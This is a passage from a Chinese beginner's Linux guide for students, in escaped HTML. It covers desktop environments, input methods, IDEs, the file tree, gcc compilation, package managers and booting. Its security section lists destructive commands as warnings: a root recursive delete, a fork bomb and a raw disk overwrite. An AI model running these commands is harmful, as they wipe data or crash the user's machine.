align=\"left\"\u003e围绕KDE开发的软件很多,界面比Windows 11还好看,配置方便\u003c/td\u003e\n\u003ctd align=\"left\"\u003e体积庞大\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eDeepin\u003c/td\u003e\n\u003ctd align=\"center\"\u003edeepin.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e界面华丽,使用简单,开发单位有国家赞助\u003c/td\u003e\n\u003ctd align=\"left\"\u003e3d加速之类的东西不太适合虚拟机使用\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eGNOME\u003c/td\u003e\n\u003ctd align=\"center\"\u003egnome.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e个性化能力强,围绕其生态的软件多\u003c/td\u003e\n\u003ctd align=\"left\"\u003e默认界面使用十分反人类,用起来十分不稳定\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eMATE\u003c/td\u003e\n\u003ctd align=\"center\"\u003emate.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e界面直观,软件丰富,基于GNOME还没反人类时期的代码\u003c/td\u003e\n\u003ctd align=\"left\"\u003e可能界面有点老土,默认上下都有任务栏\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eXFCE\u003c/td\u003e\n\u003ctd align=\"center\"\u003exfce.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e省资源,但是软件绝对够用,小耗子很可爱\u003c/td\u003e\n\u003ctd align=\"left\"\u003e界面十分老土,个人认为得自己配置一下\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eLXDE\u003c/td\u003e\n\u003ctd align=\"center\"\u003elxde.org\u003c/td\u003e\n\u003ctd align=\"left\"\u003e十分省资源\u003c/td\u003e\n\u003ctd align=\"left\"\u003e配置起来相当麻烦,软件之类得自己找\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e当然,听我的一家之词,肯定是不够的。建议各位上网找一下相关图片,了解一下。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/ezD27HTvGYwfMsR.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/ezD27HTvGYwfMsR.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"这个小恐龙比那个恶心人的辅导员恐龙好多了,我不理解为啥我们假期那么短\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个小恐龙比那个恶心人的辅导员恐龙好多了,我不理解为啥我们假期那么短\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003ch3 id=\"我的中文输入法呢\"\u003e我的中文输入法呢?\u003c/h3\u003e\n\u003cp\u003e相信有人装完系统,发现你的系统没有中文输入法,中文输入不了。\u003cbr\u003e\nLinux的输入法跟Windows是有区别的,Linux上的输入法是一个框架,在框架中,具体的输入法才能运行。Linux上面有两个框架,一个叫Fcitx,一个叫ibus。接下来,我会给大家一些关于输入法的提示。\u003cbr\u003e\n首先是fcitx(小企鹅输入法)。这个输入法的用途还是很广泛的,而且插件功能强大。我用的最多,也最想给大家推荐。具体安装我这里不会细说,给点提示吧:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e一般来说,你需要安装一些针对QT和GTK的相容性插件。如果你发现输入不了的话,可能这是你问题的一个切入点。\u003c/li\u003e\n\u003cli\u003e目前Fcitx分为两个版本,一个是第四版,一个是第五版。现在推荐大家使用第五版,功能更多,开发更活跃。\u003c/li\u003e\n\u003cli\u003e关于默认的拼音输入法,有两个插件一定要激活:一个是云拼音插件,一个是词库插件。云拼音插件可以从百度的服务器上面得到你输入拼音的预测,词库插件可以获取搜狗拼音的词库。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e然后是ibus。这个是GNOME的默认输入框架,所以用GNOME的同志们,不要再装fcitx了。这个输入法我用的不多,所以这里谈的不多,请进入设置里的相关选项进行设置。\u003c/p\u003e\n\u003cp\u003e不过我必须插一句,不要使用默认的拼音输入法实现!去你的软件源找有没有ibus-libpinyin或者ibus-sunpinyin,这俩更好用。\u003c/p\u003e\n\u003ch3 id=\"linux上面有dev-c吗\"\u003eLinux上面有Dev-C++吗?\u003c/h3\u003e\n\u003cp\u003e没有,Dev-C++是纯Windows程序。但是Linux上面有更好用的。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e小熊猫Dev-C++,QT版的Dev-C++,该怎么用不用我多说了吧。(这不是原版Dev-C++,不保证你的软件仓库有)\u003c/li\u003e\n\u003cli\u003eGeany,用起来和Dev-C++差不多,构建单个文件的时候很舒服的。\u003c/li\u003e\n\u003cli\u003eCodeBlock,我们CPP语言老师用的是这个IDE。\u003c/li\u003e\n\u003cli\u003eKate,KDE桌面环境默认编辑器,个人习惯使用这个编辑配置文件。OI-Wiki有个指南,可以看看。(这个软件有Windows版)\u003c/li\u003e\n\u003cli\u003eGedit,Gnome桌面环境的默认编辑器。稍微配置一下,就能一键编译了。CSDN上面一堆教程呢。\u003c/li\u003e\n\u003cli\u003eVSCode,大名鼎鼎,无需多言。而且在Linux上配置更方便了呢。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e插一句啊,在Linux编程前,一定要看看你的系统有没有编译器!你安装gcc或者clang了吗?\u003c/p\u003e\n\u003ch2 id=\"文件相关\"\u003e文件相关\u003c/h2\u003e\n\u003cp\u003e粗略略用起来,好像没啥奇怪的。但当你想找C盘D盘的时候,诶,跑哪里去了?\u003cbr\u003e\n你发现文件路径中,\u0026rsquo;/\u0026lsquo;用的好多啊,而且有好多三个字母的目录,有点高大上。\u003cbr\u003e\n你还发现文件属性里面没有\u0026quot;隐藏\u0026quot;了,这又是搞哪门子?\u003c/p\u003e\n\u003ch3 id=\"没有明显的分区概念\"\u003e没有明显的分区概念\u003c/h3\u003e\n\u003cp\u003e知道各位脑子里充满了C盘,D盘之类的。他们泾渭分明,基本上要没啥事的话,真的是鸡犬相闻,老死不相往来。但如果我告诉你,分区之间可以关系紧密,甚至成为了一棵树呢?\u003cbr\u003e\n来看看这张图吧,这就是我电脑Linux的分区结构了。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/AzhmaGYnlNIpUPL.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/AzhmaGYnlNIpUPL.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"手绘的更有温度,懂不懂啊\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e手绘的更有温度,懂不懂啊\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e你看到了吗,任何文件都是衍生自一棵树,他的名字叫做根,他的目的也是为了耕种这些文件。这些文件在这个根的勤劳耕种下,努力地繁育系统这个大家庭……(看不懂的去看《十日谈》或者去听Genesis的Cinema Show)\u003cbr\u003e\n为什么说Linux的分区不明显呢?分区是硬件上的概念,客观存在的。但是Linux中,分区之间的关系是非常紧密的。即使/usr目录在一个分区,/boot在另一个分区,/单独一个分区,但只要有/维系这棵树,他们之间的互相访问,就好像在一个分区一样,这样,分区的概念就不明显了。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/26tu7kIwGDRHv8S.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/26tu7kIwGDRHv8S.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"看分区的命令是sudo fdisk -l,/boot一个分区,/一个分区,还有16GB的交换空间(虚拟内存)\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e看分区的命令是sudo fdisk -l,/boot一个分区,/一个分区,还有16GB的交换空间(虚拟内存)\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e有心人注意到了,我写了一个\u0026quot;在内存中的文件\u0026quot;。这个是Linux内核把系统和硬件的信息,通过文件的形式给大家呈现了出来。这个方面,建议大家了解一下Linux/Unix下硬件映射为文件,“一切皆文件”的思想。\u003cbr\u003e\n对于mac用户,你们可以打开终端,看看你们的根目录。\u003c/p\u003e\n\u003ch3 id=\"隐藏文件和配置文件\"\u003e隐藏文件和配置文件\u003c/h3\u003e\n\u003cp\u003e在Linux中,隐藏文件的标志和Windows的不一样。只要你在文件名前面搞个\u003ccode\u003e.\u003c/code\u003e就行了,就这样。\u003cbr\u003e\n那么,什么情况下我们会看到隐藏文件呢?来看看我的电脑吧。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/RlKtxZCAEnBTkWd.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/RlKtxZCAEnBTkWd.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"左面的不显示隐藏文件,右面的显示隐藏文件\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e左面的不显示隐藏文件,右面的显示隐藏文件\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e好吧,你看到了很多的隐藏文件。这里面我先告诉你,大多数是配置文件。为啥要告诉你呢?要不然没法往下写了(尴尬)\u003cbr\u003e\nLinux软件的配置文件,大多集中地放在以下目录中:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e/etc 这个是系统级别的软件配置文件所在\u003c/li\u003e\n\u003cli\u003e$HOME/.config 这个是在你的家目录(/home/你的用户名)里面的软件配置文件所在\u003c/li\u003e\n\u003cli\u003e$HOME/.vkquake 这个是在家目录里,雷神之锤游戏的配置文件和数据包相关(有其他程序是话,请类比)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e配置文件有啥可说的呢?Linux大多数应用都是依靠配置文件,而不是图形化配置工具,来修改设定的。而且,一般通过配置文件,你可以对这个软件的使用有初步的印象,因为很多的配置文件都写满了注释。实际上,前面我们修改软件源的时候,我们就已经修改系统的配置文件了。\u003c/p\u003e\n\u003ch2 id=\"命令行的基本使chao用xi\"\u003e命令行的基本使(chao)用(xi)\u003c/h2\u003e\n\u003cp\u003e在Linux,你要想玩的high,就得接触命令行。对于某些在Windows经常搞cmd的人,估计会更熟悉些吧。\u003cbr\u003e\n但如果你不熟悉命令行,相信你的外语和程序上机都好好学了吧,这也不是难事。\u003cbr\u003e\n而且大家不是更喜欢CyberPorn吗2333\u003c/p\u003e\n\u003ch3 id=\"程序设计课复习程序与参数\"\u003e程序设计课复习:程序与参数\u003c/h3\u003e\n\u003cp\u003e各位应该在C语言程序设计中,学到了如何通过命令行输入参数,而不是先把程序执行了,再输入数据。你们当时肯定输入的是这个:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eint main(int argc, char* argv[])\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e其中第一个参数argc(argument count),是你输入的参数数量。第二个参数argv(argument vector),存放的是你输入的参数字符串。举个例子,前面我们提到要搞软件包管理。在Ubuntu下,你搜索软件包(举个例子,gcc编译器)的时候,你输入的是:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eapt search gcc\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这样,你输入了三个参数,一个是apt,一个是search,一个是gcc。这样的话,argc的数值是3,而argv里面存储的,则是那三个参数的字符串了。这里我建议各位自己编写一个和下面程序类似的程序。看看输出结果。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e\u003cspan class=\"cpf\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eargc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[]){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eargc\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"命令行程序举例一句话编译c语言单文件\"\u003e命令行程序举例:一句话编译C语言单文件\u003c/h3\u003e\n\u003cp\u003e各位目前编程,除了某些大佬之外,肯定是依靠Dev-Cpp之类的程序来编译运行吧。这里我想给大家把那些程序的外表给去掉,给大家看看如何编译一个程序吧。\u003cbr\u003e\n像Dev-Cpp那样的,可以编辑代码并编译执行的程序,叫做集成开发环境(IDE)。IDE要想编译程序,需要编译器,这个配置过vscode的人会更清楚。接下来,我们只依靠编译器,编译上面的示例程序。\u003cbr\u003e\n这里我使用gcc编译器。咱先把上面的示例程序写下来,保存成\u0026rsquo;argc.c\u0026rsquo;文件。然后在保存这个文件的目录下,打开终端,通过以下命令编译运行。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egcc argc.c -o argc \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e ./argc Unforeseen Consequence\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e如果执行没有问题的话,程序将会输出\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e./argc\nUnforeseen\nConsequence\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e好的,程序运行成功了,执行符合预期。这个命令我也该跟大家解释一下了:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003egcc\u003c/code\u003e 是编译器程序的名称,后面跟参数\u003ccode\u003e–help\u003c/code\u003e可以查看其使用指南\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eargc.c\u003c/code\u003e 是需要编译的源代码文件,是gcc程序的参数\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e-o\u003c/code\u003e 是gcc的参数,表示要将编译后的结果输出到哪个文件中,后面的argc是-o的参数\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e\u0026amp;\u0026amp;\u003c/code\u003e 是bash命令解释器的一个特殊符号,表示在前面的命令完成后,执行后面的命令\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e./argc\u003c/code\u003e 是即将执行的程序名称,\u003ccode\u003e./\u003c/code\u003e表示我们需要在当前目录下寻找该程序\u003c/li\u003e\n\u003cli\u003e后面的两个单词是argc程序的参数,也是G-Man对万斯父女说过的话\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e如果大家一时看不明白,很正常。我这里只是想通过这种方式,让大家对命令行程序有一个了解。\u003cbr\u003e\n如果想更多了解的话,建议大家了解一下bash的基本用法。最后给大家一道思考题:系统是怎样找到程序的位置呢?\u003c/p\u003e\n\u003ch3 id=\"软件包管理\"\u003e软件包管理\u003c/h3\u003e\n\u003cp\u003e前面我说镜像的时候,我说我会在这里细讲的。个人认为,这个是使用频率最高的命令行程序了。\u003cbr\u003e\n在Windows下,各位要用软件的时候,都会找渠道下载安装程序,然后安装吧。这种方式个人认为,十分麻烦,而且不安全。麻烦在于,你得满世界去找安装程序,有些小众程序还得去各种犄角旮旯网站去找。不安全在于,有些渠道很黑心,一不小心就给你来个2345流氓大礼包。要是下到了病毒,那就更好玩了:-P\u003cbr\u003e\n而Linux系统,普遍都有配套的软件库,可以很方便地给你们提供很多的软件。基本上咱们编程需要的东西,都给你准备好了。当然,要是这个程序找不到的话,如果那个软件给Linux适配的话,那就把上面的步骤走一遍吧:-(\u003cbr\u003e\n接下来,我给大家准备了一些命令,免得大家上网找了。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth align=\"center\"\u003e系统类型\u003c/th\u003e\n\u003cth align=\"center\"\u003e安装程序\u003c/th\u003e\n\u003cth align=\"center\"\u003e卸载程序\u003c/th\u003e\n\u003cth align=\"center\"\u003e更新程序\u003c/th\u003e\n\u003cth align=\"center\"\u003e更新系统\u003c/th\u003e\n\u003cth align=\"center\"\u003e搜索程序\u003c/th\u003e\n\u003cth align=\"center\"\u003e图形化工具\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eDebian/Ubuntu\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt-get install\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt-get remove\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt update \u0026amp;\u0026amp; apt upgrade\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt update \u0026amp;\u0026amp; apt dist-upgrade\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt-cache search\u003c/td\u003e\n\u003ctd align=\"center\"\u003esynaptic\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eFedora/CentOS\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf install\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf remove\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf update\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf distro-sync\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf search\u003c/td\u003e\n\u003ctd align=\"center\"\u003e-\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eOpenSUSE\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper in\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper rm\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper up\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper dup\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper se\u003c/td\u003e\n\u003ctd align=\"center\"\u003eYaST软件包管理工具\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eArch Linux/Manjaro\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -S\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -R\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -Syu\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -Syu\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -Ss\u003c/td\u003e\n\u003ctd align=\"center\"\u003epamac/octopi\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e对了,用GNOME环境的同志们,你们的电脑上面应该有个\u0026quot;软件\u0026quot;应用,那个玩意也挺方便的。KDE下面有个Apper,也还行。\u003cbr\u003e\n还有一件事,软件库是可以扩展的,比如Fedora的RPMFusion,Archlinux的AUR,需要的话,可以上网了解一下。\u003c/p\u003e\n\u003ch2 id=\"如何把-linux-引进家\"\u003e如何把 Linux 引进家\u003c/h2\u003e\n\u003cp\u003e这块我简要说一下如何把 Linux 引进家,也就是你电脑是如何引导 Linux 的。\u003cbr\u003e\n有些名词我不会过多解释,有需要请上网搜索。有错误请指正。\u003c/p\u003e\n\u003ch3 id=\"mbr--uefi\"\u003eMBR / UEFI\u003c/h3\u003e\n\u003cp\u003e电脑开机之后,首先加载 CMOS 里面的程序,用来初始化电脑的硬件。顺便说一句,BIOS 是存在 CMOS 里面,用来修改 CMOS 的内容的程序。多看看老莱就知道了。\u003c/p\u003e\n\u003cp\u003e初始化硬件后,电脑需要寻找硬盘上的操作系统,然后把控制权交出去,因为他除了初始化硬件,连和我贴贴都不会。而这就引申出来标题那俩东西了。\u003c/p\u003e\n\u003cp\u003e对于各位普遍安装的虚拟机,以及老电脑来说,MBR 引导方式是十分普遍的。MBR 是电脑的前 512 字节,存着操作系统引导器的信息。电脑读这几个字节的信息,然后就交权了。UEFI 稍微复杂一些,他能读取一个叫 EFI 分区的玩意,看看里面有啥可引导信息,然后引导系统。\u003c/p\u003e\n\u003ch3 id=\"系统初始化程序\"\u003e系统初始化程序\u003c/h3\u003e\n\u003cp\u003e现在我们需要加载内核到内存,内核文件是压缩过的,名字中一般有个 \u003ccode\u003evmlinuz\u003c/code\u003e 。解压完内核,内核会:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e检测系统硬件\u003c/li\u003e\n\u003cli\u003e挂载根设备\u003c/li\u003e\n\u003cli\u003e加载必要的内核模块(其中包括很多驱动之类)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e这里说一句,在没有挂载电脑硬盘根目录前,内核所有操作都在 \u003ccode\u003einitrd\u003c/code\u003e 的虚拟树根中进行。\u003c/p\u003e\n\u003cp\u003e然后就完了\u0026hellip;\u0026hellip;吧?\u003c/p\u003e\n\u003cp\u003e当然不是,系统只有内核是绝对不够的。他不知道键盘鼠标在哪里,不知道如何走网卡上网,不知道如何\u0026hellip;\u0026hellip; 你就当他啥也不会就行了。这时我们需要个人来带领他复习这些东西。这个程序,叫系统初始化+管理工具,目前流行的是 systemd。他能初始化系统,运行必要的系统服务之类的(其中包括我们最喜欢的图形化程序)。一般来说,这玩意搞完了,系统基本就能用了。\u003c/p\u003e\n\u003ch2 id=\"linux系统安全教育\"\u003eLinux系统安全教育\u003c/h2\u003e\n\u003cp\u003e在阅读这一章之前,先把超人的座右铭读一下:能力越大,责任越大。\u003cbr\u003e\nLinux给你的权限是相当大的,鉴于很多人在Windows下,不一定能对系统权限有很深的认识,我不太想让大家因为网上的某些垃圾命令/恶意软件而搞得心情不愉快。所以这里,我简单说几句句。\u003c/p\u003e\n\u003ch3 id=\"sudo和最高权限用户\"\u003esudo和最高权限用户\u003c/h3\u003e\n\u003cp\u003e各位在互联网上寻找到的命令,有一些前面带着\u003ccode\u003esudo\u003c/code\u003e,或是\u003ccode\u003e#\u003c/code\u003e字符。这都意味着,这个命令需要使用最高用户权限(Linux叫root账户)来执行。\u003cbr\u003e\n在Windows下,有管理员账户(Administrator)。相信大家感受不深,因为各位的电脑默认都是这个账户。当你需要安装应用程序的时候,有个窗口弹出来,让你同意运行。这个情况下,系统就需要让你动用管理员用户权限了,因为你要更改系统设置,修改系统文件啊。Linux也是这样,当你需要安装软件的时候,你需要提权了。\u003cbr\u003e\nLinux的最高权限用户和Windows的管理员有很大不同。Windows的管理员权限在某种意义上,算是一种丞相的位置,虽然权力相当大了,但上面还有个SYSTEM账户,掌管所有权力。Linux的最高权限用户可谓是一人之下,万人之上了。你可以访问所有文件,修改所有设定,甚至一句话就可以自杀:-P\u003cbr\u003e\n这就要引出下一个话题了……\u003c/p\u003e\n\u003ch3 id=\"linux也有病毒\"\u003eLinux也有病毒\u003c/h3\u003e\n\u003cp\u003e很多人说,Linux相较于Windows更安全,而且没有病毒。这个话是不完全正确的。\u003cbr\u003e\n先说错误的部分:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eLinux内核和上面的软件,和Windows一样,会有漏洞。虽然修复十分频繁,但毕竟洞在那里,很多人都会来插的。\u003c/li\u003e\n\u003cli\u003e由于Windows在普通人中间的使用量相当大,攻击者会花很多心思寻找Windows的漏洞,然后编写病毒攻击。Linux和Mac方面的病毒相比,就少了很多。\u003c/li\u003e\n\u003cli\u003eAndroid系统基于Linux开发,然而为啥天天有人随便下载东西,然后手机被锁住了呢?\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e好吧,看上去,也不是那么美好啊。那么,正确的部分又在那里呢?\u003cbr\u003e\n在Linux下,调用最高管理权限的门槛很高。多数情况下,你在Windows中,默认就是管理员账户,UAC(提权时候的提醒)也近乎于摆设。而Linux的话,用户账户默认是没有最高权限访问权的。而当你提权的时候,往往需要把你加入提权组(一般叫wheel),执行前输入密码。要是不提权的话,你只能操作你家目录里面的东西。而最高权限用户,默认是禁用的,只有当你给其设置密码的时候,才能使用。这种近似于一刀切的管理方式保证了Linux的安全。但如果你们提权了,稀里糊涂地从网上随便贴个危险命令,那就出大事了,比如说:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003esudo rm -rf /*\u003c/code\u003e 臭名昭著的自杀命令\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e:(){:|:\u0026amp;};:\u003c/code\u003e 可理解为不停调用自己,把电脑卡死\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ewhatever-command \u0026gt; /dev/sdaX\u003c/code\u003e 直接用该命令的输出覆写到磁盘上,你的硬盘毁了\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e对于Linux而言,不要执行来路不明的程序,也是适用的。\u003cbr\u003e\n以上说到的,都算是Linux的“病毒”了。希望大家使用的时候一定要小心。\u003c/p\u003e\n\u003ch2 id=\"还有没说到的上网查资料优雅地问问题\"\u003e还有没说到的,上网查资料/优雅地问问题\u003c/h2\u003e\n\u003cp\u003e我前面说过,这里给的东西,都是一些抛砖引玉的东西。如果没有你需要的,首先,我深感歉意:-(\u003cbr\u003e\n去互联网看看,或者找其他大佬吧,他们一定比我博学多了,不过普遍喜欢使用狗头:-P\u003cbr\u003e\n(我看到有人经常发狗头的时候,会过敏,我不知道他是不是在嘲讽我)\u003c/p\u003e\n\u003ch3 id=\"提高英语水平\"\u003e提高英语水平\u003c/h3\u003e\n\u003cp\u003e这很关键!因为系统输出的东西都是英文的,而且你目前接触到的所有互联网资源,尤其是跟Linux相关的资源,都是英语的。实在看不懂,多用谷歌翻译吧。\u003c/p\u003e\n\u003ch3 id=\"查看报错输出\"\u003e查看报错输出\u003c/h3\u003e\n\u003cp\u003e报错输出是查错的时候,非常有用的资源。通过阅读它,你能很快明白问题的根源,并进行针对性的上网,搜索解决方案。这里给个例子。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/HYOXzIBN4kWM1eU.jpg\" \u003e\n\t\t\u003cimg 